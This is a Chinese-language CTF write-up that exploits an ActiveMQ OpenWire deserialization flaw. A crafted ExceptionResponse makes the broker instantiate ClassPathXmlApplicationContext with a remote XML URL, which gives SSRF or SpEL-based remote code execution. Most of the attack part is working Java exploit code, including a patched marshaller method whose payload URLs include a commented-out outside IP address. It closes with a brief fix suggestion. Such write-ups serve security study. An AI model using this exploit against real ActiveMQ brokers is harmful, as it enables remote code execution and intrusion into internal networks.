n1ctf的一道web题,只开放activemq的61616端口,需要进行ssrf打内网的其他web服务
攻击ActiveMQ broker ActiveMQ的broker开放端口61616,会接收客户端的数据并处理
先写一个demo客户端如下,发送一条ConnectionInfo命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 package exploit; import org.apache.activemq.command.ConnectionInfo; import org.apache.activemq.command.ConnectionId; import org.apache.activemq.command.ExceptionResponse; import org.apache.activemq.transport.Transport; import org.apache.activemq.transport.TransportFactory; import org.apache.activemq.transport.TransportListener; import org.apache.activemq.transport.tcp.TcpTransportFactory; import java.io.IOException; import java.net.URI; public class Test { public static void main(String[] args) { try { // 创建 Transport Transport transport = TransportFactory.connect(new URI("tcp://172.30.186.22:61616")); // 添加 TransportListener transport.setTransportListener(new TransportListener() { @Override public void onCommand(Object command) { System.out.println("onCommand: " + command); } @Override public void onException(IOException error) { System.out.println("onException: " + error); } @Override public void transportInterupted() { System.out.println("transportInterupted"); } @Override public void transportResumed() { System.out.println("transportResumed"); } }); // 创建 ExceptionResponse 命令 ExceptionResponse exceptionResponse = new ExceptionResponse(new Exception("test")); // 创建 ConnectionInfo 命令 ConnectionId connectionId = new ConnectionId("123"); ConnectionInfo connectionInfo = new ConnectionInfo(); connectionInfo.setConnectionId(connectionId); connectionInfo.setClientId("123"); connectionInfo.setUserName("admin"); connectionInfo.setPassword("admin"); // 默认用户名/密码; 根据你的配置进行修改 // 发送 ConnectionInfo 命令 // transport.oneway(connectionInfo); transport.start(); // 发送 ExceptionResponse 命令 // transport.oneway(exceptionResponse); transport.oneway(connectionInfo); // 关闭 Transport // transport.stop(); } catch (Exception e) { e.printStackTrace(); } } }
发送ConnectionInfo 首先客户端会向broker发送一条WireFormatInfo,会在transport.start();时发送,broker同样会回复一条WireFormatInfo,接着transport.oneway(connectionInfo);发送ConnectionInfo,然后Broker返回一条BrokerInfo(ConnectionInfo和BrokerInfo的先后顺序不明)
这里的传输过程涉及到对象的序列化和反序列化,如图可见
发送ExceptionResponse
服务端收到数据后会进入org.apache.activemq.openwire.OpenWireFormat#doUnmarshal中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public Object doUnmarshal(DataInput dis) throws IOException { byte dataType = dis.readByte(); if (dataType != NULL_TYPE) { DataStreamMarshaller dsm = dataMarshallers[dataType & 0xFF]; if (dsm == null) { throw new IOException("Unknown data type: " + dataType); } Object data = dsm.createObject(); if (this.tightEncodingEnabled) { BooleanStream bs = new BooleanStream(); bs.unmarshal(dis); dsm.tightUnmarshal(this, data, dis, bs); } else { dsm.looseUnmarshal(this, data, dis); } return data; } else { return null; } }
根据标识符来取到dataMarshallers,这里会取到ExceptionResponseMarshaller,而这个特殊的Marshaller在反序列化时会进行危险的处理
进入tightUnmarsalThrowable
由于ExceptionResponse传过来的预期是一个Throwable对象,所以这里会进入函数createThrowable,看名字就知道是要进行对象的初始化,这里就是存在风险的地方,这里本应对远程的对象进行校验
进入createThrowable中,可以初始化一个对象,调用其String参数的构造函数
1 2 3 4 5 6 7 8 9 private Throwable createThrowable(String className, String message) { try { Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader()); Constructor constructor = clazz.getConstructor(new Class[] {String.class}); return (Throwable)constructor.newInstance(new Object[] {message}); } catch (Throwable e) { return new Throwable(className + ": " + message); } }
漏洞利用 这个漏洞的效果就是能调用任意对象的String参数构造函数,这里可以联想到jackson当中的打法
比如说对于new这个操作来说,一些常见的如spring当中有两个类构造函数就能加载远程配置可以rce
org.springframework.context.support.ClassPathXmlApplicationContext
org.springframework.context.support.FileSystemXmlApplicationContext
在出网的场景下,通过加载远程xml来进行spring的依赖注入,可以解析spel来进行rce
不出网的场景下,利用这两个类来发送get请求
客户端的源码会在序列化ExceptionResponse时,会对成员变量进行一些操作,要求对象为Throwable,本地修改逻辑即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 protected void tightMarshalThrowable2(OpenWireFormat wireFormat, Throwable o, DataOutput dataOut, BooleanStream bs) throws IOException { if (bs.readBoolean()) { tightMarshalString2("org.apache.xbean.spring.context.ClassPathXmlApplicationContext", dataOut, bs); // tightMarshalString2("http://39.107.138.71:8888/spel.xml", dataOut, bs); tightMarshalString2("http://127.0.0.1:8888/spel.xml", dataOut, bs); // tightMarshalString2(o.getClass().getName(), dataOut, bs); // tightMarshalString2(o.getMessage(), dataOut, bs); // if (wireFormat.isStackTraceEnabled()) { // StackTraceElement[] stackTrace = o.getStackTrace(); // dataOut.writeShort(stackTrace.length); // for (int i = 0; i < stackTrace.length; i++) { // StackTraceElement element = stackTrace[i]; // tightMarshalString2(element.getClassName(), dataOut, bs); // tightMarshalString2(element.getMethodName(), dataOut, bs); // tightMarshalString2(element.getFileName(), dataOut, bs); // dataOut.writeInt(element.getLineNumber()); // } // tightMarshalThrowable2(wireFormat, o.getCause(), dataOut, bs); // } } }
漏洞修复(not yet) 可能的修复方案:
在tightUnmarsalThrowable加入对象的检验,判断是否为throwable